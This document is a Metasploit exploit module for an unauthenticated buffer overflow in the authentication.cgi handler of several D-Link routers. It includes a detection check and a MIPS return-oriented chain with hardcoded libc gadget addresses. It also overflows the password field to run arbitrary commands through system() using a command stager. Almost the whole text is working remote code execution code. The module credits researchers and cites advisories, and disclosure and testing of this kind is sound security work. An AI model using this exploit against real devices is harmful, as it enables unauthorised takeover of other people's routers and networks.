D-Link authentication.cgi Buffer Overflow

`##  
# This module requires Metasploit: http//metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = NormalRanking  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::CmdStagerEcho  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'D-Link authentication.cgi Buffer Overflow',  
'Description' => %q{  
This module exploits an remote buffer overflow vulnerability on several D-Link routers.  
The vulnerability exists in the handling of HTTP queries to the authentication.cgi with  
long password values. The vulnerability can be exploitable without authentication. This  
module has been tested successfully on D-Link firmware DIR645A1_FW103B11. Other firmwares  
such as the DIR865LA1_FW101b06 and DIR845LA1_FW100b20 are also vulnerable.  
},  
'Author' =>  
[  
'Roberto Paleari', # Vulnerability discovery  
'Craig Heffner', # also discovered the vulnerability / help with some parts of this module  
'Michael Messner <devnull[at]s3cur1ty.de>', # Metasploit module and verification on several other routers  
],  
'License' => MSF_LICENSE,  
'Platform' => ['linux'],  
'Arch' => ARCH_MIPSLE,  
'References' =>  
[  
['OSVDB', '95951'],  
['EDB', '27283'],  
['URL', 'http://securityadvisories.dlink.com/security/publication.aspx?name=SAP10008'], #advisory on vendor web site  
['URL', 'http://www.dlink.com/us/en/home-solutions/connect/routers/dir-645-wireless-n-home-router-1000'], #vendor web site of router  
['URL', 'http://roberto.greyhats.it/advisories/20130801-dlink-dir645.txt'] #original advisory  
],  
'Targets' =>  
[  
[ 'D-Link DIR-645 1.03',  
{  
'Offset' => 1011,  
'LibcBase' => 0x2aaf8000, #Router  
#'LibcBase' => 0x40854000, # QEMU environment  
'System' => 0x000531FF, # address of system  
'CalcSystem' => 0x000158C8, # calculate the correct address of system  
'CallSystem' => 0x000159CC, # call our system  
}  
]  
],  
'DisclosureDate' => 'Feb 08 2013',  
'DefaultTarget' => 0))  
end  
  
def check  
begin  
res = send_request_cgi({  
'uri' => "/authentication.cgi",  
'method' => 'GET'  
})  
  
if res && [200, 301, 302].include?(res.code) && res.body.to_s =~ /status.*uid/  
return Exploit::CheckCode::Detected  
end  
rescue ::Rex::ConnectionError  
return Exploit::CheckCode::Unknown  
end  
  
Exploit::CheckCode::Unknown  
end  
  
def exploit  
print_status("#{peer} - Accessing the vulnerable URL...")  
  
unless check == Exploit::CheckCode::Detected  
fail_with(Failure::Unknown, "#{peer} - Failed to access the vulnerable URL")  
end  
  
print_status("#{peer} - Exploiting...")  
execute_cmdstager(  
:linemax => 200,  
:concat_operator => " && "  
)  
end  
  
def prepare_shellcode(cmd)  
shellcode = rand_text_alpha_upper(target['Offset']) # padding  
shellcode << [target['LibcBase'] + target['System']].pack("V") # s0 - address of system  
shellcode << rand_text_alpha_upper(16) # unused reg $s1 - $s4  
shellcode << [target['LibcBase'] + target['CallSystem']].pack("V") # s5 - second gadget (call system)  
  
# .text:000159CC 10 00 B5 27 addiu $s5, $sp, 0x170+var_160 # get the address of our command into $s5  
# .text:000159D0 21 28 60 02 move $a1, $s3 # not used  
# .text:000159D4 21 30 20 02 move $a2, $s1 # not used  
# .text:000159D8 21 C8 00 02 move $t9, $s0 # $s0 - system  
# .text:000159DC 09 F8 20 03 jalr $t9 # call system  
# .text:000159E0 21 20 A0 02 move $a0, $s5 # our cmd -> into a0 as parameter for system  
  
shellcode << rand_text_alpha_upper(12) # unused registers $s6 - $fp  
shellcode << [target['LibcBase'] + target['CalcSystem']].pack("V") # $ra - gadget nr 1 (prepare the parameter for system)  
  
# .text:000158C8 21 C8 A0 02 move $t9, $s5 # s5 - our second gadget  
# .text:000158CC 09 F8 20 03 jalr $t9 # jump the second gadget  
# .text:000158D0 01 00 10 26 addiu $s0, 1 # s0 our system address - lets calculate the right address  
  
shellcode << rand_text_alpha_upper(16) # filler in front of our command  
shellcode << cmd  
end  
  
def execute_command(cmd, opts)  
shellcode = prepare_shellcode(cmd)  
uid = rand_text_alpha(4)  
begin  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => "/authentication.cgi",  
'cookie' => "uid=#{uid}",  
'encode_params' => false,  
'vars_post' => {  
'uid' => uid,  
'password' => rand_text_alpha(3) + shellcode,  
}  
})  
return res  
rescue ::Rex::ConnectionError  
fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server")  
end  
end  
end  
`